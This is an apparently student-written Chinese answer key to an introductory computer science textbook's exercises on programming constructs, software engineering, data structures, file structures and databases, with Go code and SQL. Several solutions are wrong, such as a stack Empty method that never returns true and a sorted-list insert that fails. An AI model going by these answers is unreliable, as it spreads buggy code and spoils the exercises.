&lt;li&gt;过程式、面向对象、函数式、声明式。&lt;/li&gt;
&lt;li&gt;过程式：把程序看成是操纵被动对象的主动主体；面向对象：处理活动对象，而不是被动对象。&lt;/li&gt;
&lt;li&gt;方法是类的动作，对象是类的实体。&lt;/li&gt;
&lt;li&gt;程序被看成是一个数学函数。&lt;/li&gt;
&lt;li&gt;依据逻辑推理的原则响应查询。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int a, b, c;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;double a = 1.0, b = 1.0, c = 1.0;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;char a;
int b;
double c;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;因为常量不可改变，所以如果不在声明时赋值，之后就不能赋值了。&lt;/li&gt;
&lt;li&gt;2 次。&lt;/li&gt;
&lt;li&gt;无数次。&lt;/li&gt;
&lt;li&gt;8 次。&lt;/li&gt;
&lt;li&gt;5 次。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int A = 3;
do {
  statement;
  A = A + 2;
} while(A &amp;lt; 8);
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int i = 4;
do {
  statement;
  i++;
} while(i &amp;lt; 20);
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int i = 5;
while (i &amp;lt; 20) {
  statement;
  i++;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;for (int A = 6; A &amp;lt; 10; A++) {
  statement;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;for (int A = 5; A &amp;lt; 8; A = A + 2) {
  statement;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int i = 2;
while (i &amp;lt; 1) {
  statement;
  i++;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int i = 4;
do {
  statement;
  i++;
} while(i &amp;gt; 100);
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;for (int A = 5; A &amp;lt; 1; A = A + 2) {
  statement;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int i = 2;
while (i &amp;lt; 1) {
  statement;
  i++;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int i = 4;
do {
  statement;
  i++;
} while(i &amp;gt; 100);
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;for (int A = 5; A &amp;lt; 1; A = A + 2) {
  statement;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;12；4；5。&lt;/li&gt;
&lt;li&gt;Hello；&quot;Hello&quot;。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;switch (A) {
  case 4:
    statement1;
    break;
  case 6:
    statement2;
    break;
  case 8:
    statement3;
    break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;A、B 传值；S、P 传引用。&lt;/li&gt;
&lt;li&gt;A、B 传值；S 传引用。&lt;/li&gt;
&lt;li&gt;传引用。&lt;/li&gt;
&lt;li&gt;传引用。&lt;/li&gt;
&lt;li&gt;传值。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 10 章 软件工程&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;软件生命周期是软件工程中的基本概念，是一个重复阶段的周期。&lt;/li&gt;
&lt;li&gt;瀑布模型一次性设计和编写程序，增量模型一次分一些模块来设计和编写程序。&lt;/li&gt;
&lt;li&gt;分析、设计、实现和测试。&lt;/li&gt;
&lt;li&gt;输入规格说明文档，说明了要做什么。面向过程分析和面向对象分析。&lt;/li&gt;
&lt;li&gt;定义了系统如何完成在分析阶段所定义的。面向过程中，分解成过程；面向对象中，分解成类和方法。&lt;/li&gt;
&lt;li&gt;模块化是将大程序分解成能理解和容易处理的小程序。耦合和内聚。&lt;/li&gt;
&lt;li&gt;耦合描述模块间，内聚描述模块里面。&lt;/li&gt;
&lt;li&gt;编写代码；可操作性、可维护性和可迁移性。&lt;/li&gt;
&lt;li&gt;发现错误；白盒测试和黑盒测试。&lt;/li&gt;
&lt;li&gt;白盒测试基于知道软件的内部结构，黑盒测试反之。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;方便修改。&lt;/li&gt;
&lt;li&gt;传值。&lt;/li&gt;
&lt;li&gt;传引用。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;画图，略过。&lt;/li&gt;
&lt;li&gt;相当于从 1000 里面取 3 项组合，为 166,167,000。&lt;/li&gt;
&lt;li&gt;三个数的最小、最大值。&lt;/li&gt;
&lt;li&gt;乘上一个系数 1000，再加上 1000。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 11 章 数据结构&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;数组、记录和链表。&lt;/li&gt;
&lt;li&gt;数组可以被看成是记录数组的一种特例，其中每个元素是只带一个域的记录。&lt;/li&gt;
&lt;li&gt;数组在内存中是紧密相邻的，链表不是。&lt;/li&gt;
&lt;li&gt;数组元素可以通过索引来计算出地址。&lt;/li&gt;
&lt;li&gt;紧密相邻的。&lt;/li&gt;
&lt;li&gt;域是具有含义的最小命名记录。&lt;/li&gt;
&lt;li&gt;一个包含数据，另一个包含指针。&lt;/li&gt;
&lt;li&gt;指向另外节点的地址。&lt;/li&gt;
&lt;li&gt;头节点的后的第一个节点。&lt;/li&gt;
&lt;li&gt;指向空。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func equal(a, b []int) bool {
	for i := range a {
		if a[i] != b[i] {
			return false
		}
	}
	return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func reverse(nums []int) {
	for i, j := 0, len(nums)-1; i &amp;lt; j; i, j = i+1, j-1 {
		nums[i], nums[j] = nums[j], nums[i]
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;const R = 2
const C = 2

func printTwoDimensionalArray(array [R][C]int) {
	for i := 0; i &amp;lt; R; i++ {
		for j := 0; j &amp;lt; C; j++ {
			fmt.Println(array[i][j])
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func SequenceSearch(elements []int, key int) int {
	for i, v := range elements {
		if key == v {
			return i
		}
	}
	return -1
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func BinarySearch(elements []int, key int) int {
	lo := 0
	hi := len(elements) - 1
	for lo &amp;lt;= hi {
		mid := lo + (hi-lo)&amp;gt;&amp;gt;1
		if key &amp;gt; elements[mid] {
			lo = mid + 1
		} else if key &amp;lt; elements[mid] {
			hi = mid - 1
		} else if key == elements[mid] {
			return mid
		}
	}
	return lo
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func insert(elements []int, key int) {
	index := BinarySearch(elements, key)
	elements = append(elements[:index], append([]int{key}, elements[index:]...)...)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func deleteKey(elements []int, key int) {
	index := BinarySearch(elements, key)
	elements = append(elements[:index], elements[index+1:]...)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func productConst(arr []int, c int) {
	for i := range arr {
		arr[i] = c * arr[i]
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type Fractional struct {
	Nume int
	Deno int
}

func (f Fractional) String() string {
	return fmt.Sprintf(&quot;%v/%v&quot;, f.Nume, f.Deno)
}

func NewFractional(Nume, Deno int) Fractional {
	return Fractional{Nume, Deno}
}

func (f *Fractional) broad(lcm int) {
	f.Nume = f.Nume * (lcm / f.Deno)
	f.Deno = lcm
}

func (f *Fractional) offset() {
	lcm := gcd(f.Nume, f.Deno)
	f.Nume /= lcm
	f.Deno /= lcm
}

func gcd(x, y int) int {
	if y == 0 {
		return x
	}
	return gcd(y, x%y)
}

func lcm(x, y int) int {
	return x * y / gcd(x, y)
}

func (f1 *Fractional) Add(f2 Fractional) {
	lcm := lcm(f1.Deno, f2.Deno)
	f1.broad(lcm)
	f2.broad(lcm)
	f1.Nume += f2.Nume
	f1.offset()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func (f1 *Fractional) Sub(f2 Fractional) {
	lcm := lcm(f1.Deno, f2.Deno)
	f1.broad(lcm)
	f2.broad(lcm)
	f1.Nume -= f2.Nume
	f1.offset()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func (f1 *Fractional) Mul(f2 Fractional) {
	f1.Deno *= f2.Deno
	f1.Nume *= f2.Nume
	f1.offset()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func (f1 *Fractional) Div(f2 Fractional) {
	f1.Mul(NewFractional(f2.Deno, f2.Nume))
	f1.offset()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;画图省略，数据结构是这样的：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type Data struct {
	flag  string
	name  string
	score int64
}

type Node struct {
	data *Data
	next *Node
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;直接把头节点指向空。&lt;/li&gt;
&lt;li&gt;直接构造一个节点，然后让头节点指向新构造的节点。&lt;/li&gt;
&lt;li&gt;不断构造节点，然后不断把最后一个节点指向新构造的节点。&lt;/li&gt;
&lt;li&gt;遍历链表，然后计算。&lt;/li&gt;
&lt;li&gt;当前指针往后移一步。&lt;/li&gt;
&lt;li&gt;当前指针和前一位指针都往后移一步。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 12 章 抽象数据类型&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;抽象数据类型就是对该数据类型有意义的操作封装在一起的数据类型。操作是已知的，数据结构是未知的。&lt;/li&gt;
&lt;li&gt;添加和删除只能在栈顶进行。键栈、入栈、出栈、空。&lt;/li&gt;
&lt;li&gt;只能在头部删除，尾部插入。建队列、入列、出列、空。&lt;/li&gt;
&lt;li&gt;插入和删除操作可以在任何地方进行的列表。建表、插入、删除、检索、遍历、空。&lt;/li&gt;
&lt;li&gt;树有一个父节点，多个子节点；二叉树只有两个子节点；二叉搜索树的节点是有序的。&lt;/li&gt;
&lt;li&gt;深度优先遍历还细分了前序、中序、后序三种遍历，广度优先没有。&lt;/li&gt;
&lt;li&gt;图是由一组顶点和一组边构成的一种抽象数据类型；有向图有方向。&lt;/li&gt;
&lt;li&gt;栈：函数栈；队列：消息队列。&lt;/li&gt;
&lt;li&gt;元素被随机存取或顺序存取的情况。&lt;/li&gt;
&lt;li&gt;赫夫曼编码；搜索。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Test1(t *testing.T) {
	S2 := New()
	for !S2.Empty() {
		_, _ = S2.Pop()
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Test2(t *testing.T) {
	S1 := New()
	S2 := New()
	for !S1.Empty() {
		v, _ := S1.Pop()
		S2.Push(v)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Test3(t *testing.T) {
	S1 := New()
	S2 := New()
	var elements []interface{}
	for !S1.Empty() {
		v, _ := S1.Pop()
		elements = append(elements, v)
	}

	for i := len(elements) - 1; i &amp;gt;= 0; i-- {
		S1.Push(elements[i])
		S2.Push(elements[i])
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Test4(t *testing.T) {
	S1 := New()
	S2 := New()
	var elements []interface{}
	for !S2.Empty() {
		v, _ := S2.Pop()
		elements = append(elements, v)
	}

	for i := len(elements) - 1; i &amp;gt;= 0; i-- {
		S1.Push(elements[i])
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;栈的内容为：5、6，x 为 2，y 为 3。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func IsPalindrome(s []byte) bool {
	stack := New()
	for _, c := range s {
		stack.Push(c)
	}

	for i := len(s) - 1; i &amp;gt;= 0; i-- {
		v, _ := stack.Pop()
		c := v.(byte)
		if c != s[i] {
			return false
		}
	}
	return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func EqualStack(s1, s2 stack) bool {
	for !s1.Empty() &amp;amp;&amp;amp; !s2.Empty() {
		v1, _ := s1.Pop()
		v2, _ := s2.Pop()
		if v1 != v2 {
			return false
		}
	}
	return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Test8(t *testing.T) {
	Q := New()
	for !Q.Empty() {
		_, _ = Q.Dequeue()
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Test9(t *testing.T) {
	Q1 := New()
	Q2 := New()
	for !Q1.Empty() {
		v, _ := Q1.Dequeue()
		Q2.Enqueue(v)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Test10(t *testing.T) {
	Q1 := New()
	Q2 := New()
	var elements []interface{}
	for !Q1.Empty() {
		v, _ := Q1.Dequeue()
		elements = append(elements, v)
	}

	for _, v := range elements {
		Q1.Enqueue(v)
		Q2.Enqueue(v)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Test11(t *testing.T) {
	Q1 := New()
	Q2 := New()
	for !Q2.Empty() {
		v, _ := Q2.Dequeue()
		Q1.Enqueue(v)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func EqualQueue(q1, q2 *queue) bool {
	for !q1.Empty() &amp;amp;&amp;amp; !q2.Empty() {
		v1, _ := q1.Dequeue()
		v2, _ := q2.Dequeue()
		if v1 != v2 {
			return false
		}
	}
	return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;G；I；D。&lt;/li&gt;
&lt;li&gt;J(C(B(A), D(E, F)), I(E(G, H)))。&lt;/li&gt;
&lt;li&gt;A(C(E(F)), B(D(H, G)))。&lt;/li&gt;
&lt;li&gt;不能，后序遍历中的 F 没有在中序遍历 D 的左边。不符合定义。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type stack struct {
	cap      int
	top      int
	elements []interface{}
}

func (s stack) Cap() int {
	return s.cap
}

// New creates a stack by cap.
func New(cap int) *stack {
	s := new(stack)
	s.cap = cap
	s.top = -1
	s.elements = make([]interface{}, s.cap)
	return s
}

// Push inserts v in the stack.
func (s *stack) Push(v interface{}) error {
	if s.top+1 &amp;gt;= s.cap {
		return errors.New(&quot;stack is full&quot;)
	}

	s.top++
	s.elements[s.top] = v
	return nil
}

// Pop deletes the element from the stack and return it.
func (s *stack) Pop() (interface{}, error) {
	if s.top &amp;lt; 0 {
		return nil, errors.New(&quot;stack is empty&quot;)
	}

	v := s.elements[s.top]
	s.elements[s.top] = nil
	s.top--
	return v, nil
}

func (s *stack) Empty() bool {
	return len(s.elements) == 0
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type stack struct {
	top *node
}

type node struct {
	value interface{}
	next  *node
}

// New creates a stack.
func New() *stack {
	s := new(stack)
	return s
}

// Push inserts v in the stack.
func (s *stack) Push(v interface{}) {
	n := new(node)
	n.value = v
	n.next = nil

	// empty stack wouldn&apos;t execute this
	if s.top != nil {
		n.next = s.top
	}
	s.top = n
}

// Pop deletes the element from the stack and return it.
func (s *stack) Pop() (interface{}, error) {
	if s.top == nil {
		return nil, errors.New(&quot;stack is empty&quot;)
	}

	v := s.top.value
	s.top = s.top.next
	return v, nil
}

func (s *stack) Empty() bool {
	return s.top == nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type queue struct {
	cap      int
	len      int
	front    int
	rear     int
	elements []interface{}
}

func (q queue) Cap() int {
	return q.cap
}

func (q queue) Len() int {
	return q.len
}

// New creates a queue by cap.
func New(cap int) *queue {
	q := new(queue)
	q.cap = cap
	q.len = 0
	q.front = 0
	q.rear = 0
	q.elements = make([]interface{}, q.cap)
	return q
}

// Enqueue inserts v in the queue.
func (q *queue) Enqueue(v interface{}) error {
	if q.rear == q.cap &amp;amp;&amp;amp; q.front == 0 {
		return errors.New(&quot;queue is full&quot;)
	}

	// rearrange array
	if q.rear == q.cap &amp;amp;&amp;amp; q.front != 0 {
		n := q.rear - q.front
		for i := 0; i &amp;lt; n; i++ {
			q.elements[i] = q.elements[q.cap-n+i]
			q.elements[q.cap-n+i] = nil
		}
		q.front = 0
		q.rear = n
	}
	q.elements[q.rear] = v
	q.rear++
	q.len++
	return nil
}

// Dequeue deletes v in the queue and return it.
func (q *queue) Dequeue() (interface{}, error) {
	if q.front == q.rear {
		return nil, errors.New(&quot;queue is empty&quot;)
	}

	v := q.elements[q.front]
	q.elements[q.front] = nil
	q.front++
	q.len--
	return v, nil
}

func (q *queue) Empty() bool {
	return q.Len() == 0
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type node struct {
	value interface{}
	next  *node
}

type queue struct {
	len   int
	front *node
	rear  *node
}

func (q queue) Len() int {
	return q.len
}

// New creates a queue.
func New() *queue {
	q := new(queue)
	q.len = 0
	q.front = new(node)
	q.front.next = nil
	q.front.value = nil
	q.rear = q.front
	return q
}

// Enqueue inserts v in the queue.
func (q *queue) Enqueue(v interface{}) {
	q.rear.value = v

	n := new(node)
	n.value = nil
	n.next = nil

	q.rear.next = n
	q.rear = n
	q.len++
}

// Dequeue deletes v in the queue and return it.
func (q *queue) Dequeue() (interface{}, error) {
	if q.front == q.rear {
		return nil, errors.New(&quot;queue is empty&quot;)
	}

	v := q.front.value
	q.front.value = nil

	next := q.front.next
	q.front.next = nil
	q.front = next

	q.len--
	return v, nil
}

func (q *queue) Empty() bool {
	return q.Len() == 0
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func insert(elements []int, key int) {
	index := BinarySearch(elements, key)
	elements = append(elements[:index], append([]int{key}, elements[index:]...)...)
}

func deleteKey(elements []int, key int) {
	index := BinarySearch(elements, key)
	elements = append(elements[:index], elements[index+1:]...)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;type node struct {
	value interface{}
	next  *node
	list  *list
}

type list struct {
	head *node
}

// New creates a list.
func New() *list {
	l := new(list)
	l.head = new(node)
	l.head.value = nil
	l.head.next = nil
	l.head.list = l
	return l
}

// NewNode creates a node by v.
func NewNode(v interface{}) *node {
	n := new(node)
	n.value = v
	n.next = nil
	n.list = nil
	return n
}

// Value returns the node value.
func (n node) Value() interface{} {
	return n.value
}

// Next returns node the next node.
func (n node) Next() *node {
	return n.next
}

// List returns the list belong to node.
func (n node) List() *list {
	return n.list
}

// Head returns the head node belong to the list.
func (l list) Head() *node {
	return l.head
}

// Insert insert n after mark.
func (l *list) Insert(n *node) error {
	cur := l.head
	for cur.next != nil {
		prev := cur
		cur = cur.next
		if cur.value.(int) &amp;gt;= n.value.(int) {
			prev.next = n
			n.next = cur
		}

	}
	return nil
}

// Delete deletes n from list.
func (l *list) Delete(n *node) error {
	if n.list != l {
		return errors.New(&quot;node not in the list&quot;)
	}

	if n == l.head {
		return errors.New(&quot;can&apos;t delete head node&quot;)
	}

	pre := l.head
	for pre.next != n {
		pre = pre.next
	}

	pre.next = n.next

	n.value = nil
	n.next = nil
	n.list = nil
	n = nil

	return nil
}

// Show returns list friendly express.
func (l list) Show() string {
	format := &quot;&quot;
	cur := l.head
	for cur.next != nil {
		cur = cur.next
		format += fmt.Sprintf(&quot;%v&quot;, cur.value)
		if cur.next != nil {
			format += fmt.Sprint(&quot;-&amp;gt;&quot;)
		}
	}
	return format
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第 13 章 文件结构&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;顺序、随机。&lt;/li&gt;
&lt;li&gt;当文件被更新时，主文件将从脱机存储器中检索返回，成为旧主文件。&lt;/li&gt;
&lt;li&gt;包含将要对主文件作的改变。&lt;/li&gt;
&lt;li&gt;索引和散列。&lt;/li&gt;
&lt;li&gt;索引直接对应文件。&lt;/li&gt;
&lt;li&gt;键就是地址。&lt;/li&gt;
&lt;li&gt;键被文件的大小除，得到的余数加上 1 就是地址。&lt;/li&gt;
&lt;li&gt;选择的数字是从键中被析取出来的，用作地址。&lt;/li&gt;
&lt;li&gt;开放寻址、链表、桶散列。&lt;/li&gt;
&lt;li&gt;文本文件是字符的文件，二进制文件是使用计算机内部格式存储的数据集合。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;未理解题意。&lt;/li&gt;
&lt;li&gt;先对数据文件创建地址，由上到下，由左到右。然后排序键值，写入对应的地址。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;077654, 004
093245, 003
114237, 001
123453, 000
156732, 002
256743, 005
423458, 006
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;05；14；02；07。&lt;/li&gt;
&lt;li&gt;16；62；95；40。&lt;/li&gt;
&lt;li&gt;36；69；62；47。&lt;/li&gt;
&lt;li&gt;41+22+43=106；21+57+11=89；31+49+41=121；51+32+31=114。&lt;/li&gt;
&lt;li&gt;3；2；3+1=4；405。&lt;/li&gt;
&lt;li&gt;冲突键用链表记录。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;未理解哨兵在这个算法中的作用。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;未理解基于事务文件更新顺序文件的过程。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func merge(a, b []int) []int {
	var result []int
	i, j := 0, 0
	for i &amp;lt; len(a) &amp;amp;&amp;amp; j &amp;lt; len(b) {
		if a[i] &amp;lt; b[j] {
			result = append(result, a[i])
			i++
		} else {
			result = append(result, b[j])
			j++
		}
	}
	result = append(result, a[i:]...)
	result = append(result, b[j:]...)
	return result
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;未理解基于事务文件更新顺序文件的过程。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 14 章 数据库&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;硬件、软件、数据、用户、规程。&lt;/li&gt;
&lt;li&gt;层次模型、网状模型和关系模型。关系模型。&lt;/li&gt;
&lt;li&gt;关系就是一张二维表，用来组织数据。&lt;/li&gt;
&lt;li&gt;属性即关系中的列，元祖即关系中的行。&lt;/li&gt;
&lt;li&gt;插入、删除、更新、选择、投影。&lt;/li&gt;
&lt;li&gt;连接、并、交、差。&lt;/li&gt;
&lt;li&gt;SQL 即结构化查询语言，XML 即可扩展标记语言。SQL、XML。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;2, 16, 102。&lt;/li&gt;
&lt;li&gt;2, 16。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;100
102
103
104
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;24。&lt;/li&gt;
&lt;li&gt;C1 = 37。&lt;/li&gt;
&lt;li&gt;SELECT No, Unit FROM Courses;&lt;/li&gt;
&lt;li&gt;SELECT ID, Name FROM Students;&lt;/li&gt;
&lt;li&gt;SELECT Name FROM Professors;&lt;/li&gt;
&lt;li&gt;SELECT Name FROM Depts;&lt;/li&gt;
&lt;li&gt;SELECT Courses FROM Students WHERE ID = 2010;&lt;/li&gt;
&lt;li&gt;SELECT Courses FROM Professors WHERE Name = &quot;Blake&quot;;&lt;/li&gt;
&lt;li&gt;SELECT * FROM Courses WHERE Unit = 3;&lt;/li&gt;
&lt;li&gt;SELECT Name FROM Students WHERE Courses = &quot;CIS015&quot;;&lt;/li&gt;
&lt;li&gt;SELECT No FROM Depts WHERE Name = &quot;CS&quot;;&lt;/li&gt;
&lt;li&gt;不符合，把多个值的铺平即可。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;画图，省略。&lt;/li&gt;
&lt;li&gt;传递依赖。&lt;/li&gt;
